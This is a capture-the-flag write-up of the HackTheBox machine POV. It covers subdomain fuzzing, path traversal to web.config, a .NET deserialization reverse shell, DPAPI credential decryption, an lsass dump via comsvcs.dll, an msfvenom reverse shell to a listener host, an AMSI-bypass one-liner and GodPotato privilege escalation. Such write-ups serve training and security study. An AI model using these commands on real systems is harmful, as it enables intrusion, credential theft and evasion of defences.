
HTB: POV Writeup
Portfolio subdomain hiding a .NET deserialization foothold, DPAPI credential recovery through a stored connection.xml, and a stubborn SeImpersonate privesc that ended with a GodPotato one-shot read of root.txt.
POV is a Windows machine from HackTheBox that looked like a casual portfolio site on the surface and ended up being a solid walk through a .NET deserialization foothold, a PowerShell DPAPI credential recovery, and a chain of SYSTEM privesc attempts that forced us to get creative with SeImpersonatePrivilege. Here is how we took it from an open port 80 to a root shell.
Recon and subdomain discovery
The nmap scan only gave us one service — a website on pov.htb. We added that to our hosts file and kicked off both gobuster and ffuf to look for directories and subdomains.
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
-u http://pov.htb/ -H "Host: FUZZ.pov.htb" -fs 12330

Subdomain fuzzing lit up almost immediately with a dev subdomain. Added that one to the hosts file too.

Portfolio site and the Download CV endpoint
The dev subdomain turned out to be someone's developer portfolio page.

I kicked off directory busting on it while poking at the UI:
gobuster dir -u http://dev.pov.htb/ \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-b 404,403,302
While that was running I spotted a Download CV button that invoked a client-exposed JavaScript function for downloading a file. Running it through Burp made the design obvious — the file path is on our end, which means we control what gets downloaded.

Swapping the file for ..\web.config happily handed us the ASP.NET application config.
.NET deserialization with ysoserial
A quick read through web.config pointed at a classic .NET deserialization path, so I spun up a Windows VM and used ysoserial.exe to build a gadget wrapping a PowerShell reverse shell:

Saved the blob to payload.enc, started an nc listener on Kali, and curl'd the blob at the site.

And it worked.

sfitz to alaading via connection.xml
We land as sfitz. First thing — hunt for credentials in common file types:
Get-ChildItem -Path C:\Users\sfitz -Recurse -Force `
-Include .xml,.txt,.ps1,.kdbx,.config,.pfx -ErrorAction SilentlyContinue `
| Select-Object FullName,Length
BINGO. sfitz has a connection.xml sitting in Documents.

Opening it up shows alaading credentials — but the password is a DPAPI-encrypted SecureString, not plaintext.

The nice thing about DPAPI SecureStrings is that any process running as the user who created them can decrypt them transparently. Since we are sfitz, we just ask PowerShell to do it for us:
$cred = Import-Clixml C:\Users\sfitz\Documents\connection.xml
$cred.GetNetworkCredential().Password
Password in hand. Checking local listeners we see WinRM is up, so I spun up a Ligolo tunnel and hit WinRM as alaading with evil-winrm.
And we are in.

user.txt is sitting on the alaading desktop.

Privesc — SeDebugPrivilege and a dead-end lsass dump
Now for privesc. First thing to check is what privileges this account holds:

SeDebugPrivilege — perfect. That means we can dump lsass. Grab the pid, then MiniDump it:
Get-Process lsass | Select Id
rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump 652 `
C:\Users\alaading\Desktop\l.dmp full
The dump works and we drag it back to Kali for pypykatz... but it only coughs up hashes for the two users we already have access to. Nothing new to pivot with.

Time to find another angle.
SYSTEM shell via service injection
POV has a couple of impersonating services running, and alaading is allowed to inject shellcode into one of them. Build a ps1-formatted reverse shell with msfvenom:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.211 LPORT=9003 \
EXITFUNC=thread -f ps1 -o sc.ps1

Inject that into the service and wait on nc -lvnp 9003. The callback lands as NT AUTHORITY\LOCAL SERVICE.

Walking to the administrator desktop to grab root.txt gives us Access Denied, as expected. But whoami /priv on this new shell shows SeImpersonatePrivilege — the classic token-impersonation privilege. Time for a potato.
Potato pain and the one-shot workaround
Honestly, this is where I got stuck for a while. I kept trying to use a GodPotato spawn to pop a fresh SYSTEM shell inside the current session, and it kept dying on AMSI or on the handoff between the two token contexts.

After enough dead ends I stopped trying to get a full shell and just used GodPotato as a one-shot — have it run a single SYSTEM command that copies root.txt out to a world-readable staging path, then read that file from the shell I already had.
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
$asm = [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("C:\note\GodPotato-NET4.exe"))
$asm.EntryPoint.Invoke($null, @(,[string[]]@(
"-cmd",
"cmd /c type C:\Users\Administrator\Desktop\root.txt > C:\Windows\Temp\r.txt && icacls C:\Windows\Temp\r.txt /grant Everyone:R"
)))
Then from the LOCAL SERVICE shell:
type C:\Windows\Temp\r.txt

Rooted.
Closing thoughts
The privesc half of this box was genuinely harder than the rating suggests. I went in a loop trying to fully elevate the shell when the right move was to accept that the token-impersonation step was flaky and lean on a single SYSTEM command instead. That is a useful mindset to carry into other boxes — if a technique works for one command, you do not always need a full interactive session to win.
The rest of the chain is a nice reminder of how web-first AD boxes still play: weak subdomain hygiene gives you an app surface, a sloppy client-side download endpoint gives you LFI, .NET deserialization gives you RCE, and a stored connection.xml gets you from one Windows user to another without ever touching a credential dump.
Good machine for OSCP-style practice on web-to-AD pivots and token abuse.
